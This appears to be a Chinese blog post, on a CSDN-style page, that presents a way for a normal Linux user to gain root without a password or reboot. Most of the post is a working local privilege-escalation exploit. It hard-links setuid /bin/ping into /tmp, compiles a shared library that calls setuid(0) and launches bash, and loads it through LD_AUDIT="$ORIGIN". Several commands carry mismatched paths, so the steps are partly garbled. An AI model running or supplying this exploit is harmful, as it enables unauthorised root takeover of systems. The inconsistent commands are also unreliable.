提权学习:Linux普通用户提权为root

本文分享了一种在不重启系统的情况下,将Linux普通用户权限提升至root的实用技巧。通过利用ping命令的suid特性创建链接,并结合C程序与gcc编译器,实现了无需密码的root权限获取。

当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

Linux普通用户提权为root

接下来直接看实例


 

Linux普通用户提权为root

      我记得我以前用Linux的时候,忘记root密码是常有的事情,很多时候大家都会选择重启系统,进入单用户模式重置root密码,但在实际运维工作中,就未必能任性重启了。

      分享一个不必重启也能切换至root用户的方法给大家。

接下来直接看实例

1. 查看系统环境

cat  /etc/centos-release
 

2. 创建普通用户进行权限测试


 
  1. useradd ce
  2. su ce
  3. cat /etc/shadow

3. 开始提权操作

利用ping命令的suid特性,创建一个链接。(ln  /bin/ping   /tmp/cetest/target)


 
  1. ll /tmp/ -d
  2. cd /tmp/
  3. mkdir cetest //创建目录
  4. ll /bin/ping
  5. ln /bin/ping /tmp/cetest/target //利用ping命令的suid特性,创建一个链接
  6. ll /tmp/ test/target
  7. exec 3< /tmp/cetest/target //调用命令
  8. rm -rf /tmp/retest

4. 创建一个C程序

创建vim test.c  


 
  1. void __attribute__((constructor)) init()
  2. {
  3. setuid( 0);
  4. system( "/bin/bash");
  5. }

5. 编译C程序


 
  1. gcc -w -fPIC -shared -o /tmp/root test.c
  2. LD_AUDIT= "\$ORIGIN" exec /proc/self/fd/3

注:执行程序后,会出现一个报错,但不用管,此时应该顺利切换至root用户了。

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值